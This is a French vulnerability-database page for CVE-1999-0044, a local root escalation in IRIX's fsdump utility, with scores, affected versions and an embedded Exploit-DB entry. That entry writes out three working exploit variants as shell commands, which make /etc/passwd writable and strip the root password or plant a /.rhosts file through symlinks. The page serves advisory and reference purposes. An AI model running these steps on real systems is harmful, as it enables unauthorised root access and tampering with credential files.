CVE-1999-0044 : Détail

CVE-1999-0044

0.09%V4
Local
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

fsdump command in IRIX allows local users to obtain root access by modifying sensitive files.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 19280

Date de publication : 1996-12-02 23h00 +00:00
Auteur : Jaechul Choe
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/355/info A number of vulnerabilities exist in the fsdump program included with Silicon Graphics Inc's IRIX operating system. Each of these holes can be used to obtain root privlilege. Variant 1: irix% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump / (count to three, and hit ctrl-c) irix% ls -la /etc/passwd -rw-r--r-- 1 csh users 956 Feb 25 06:23 /etc/passwd irix% tail -8 /etc/passwd nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null noaccess:*:60002:60002:uid no access:/dev/null:/dev/null nobody:*:-2:-2:original nobody uid:/dev/null:/dev/null Tue Feb 25 06:23:48 PST 1997 Number of inodes total 208740; allocated 31259 Collecting garbage. interrupted irix% vi /etc/passwd # remove the encrypted root password irix% chgrp sys /etc/passwd irix% chown root /etc/passwd irix% su - irix# Variant 2: cp /etc/passwd /tmp/passwd ln -s /etc/passwd rfd.lock /var/rfindd/fsdump -F/tmp/rfd / /var/rfindd/fsdump -L/etc/passwd -F/tmp/rfd / Variant 3: cd /tmp ln -s /.rhosts fsdump.dir /var/rfindd/fsdump -Fgimme / ls -al /.rhosts rm -f fsdump.dir fsdump.pag gimme

Products Mentioned

Configuraton 0

Sgi>>Irix >> Version 5.1

Sgi>>Irix >> Version 5.1.1

Sgi>>Irix >> Version 5.2

Sgi>>Irix >> Version 5.3

Sgi>>Irix >> Version 6.0

Sgi>>Irix >> Version 6.0.1

Sgi>>Irix >> Version 6.1

Sgi>>Irix >> Version 6.2

Références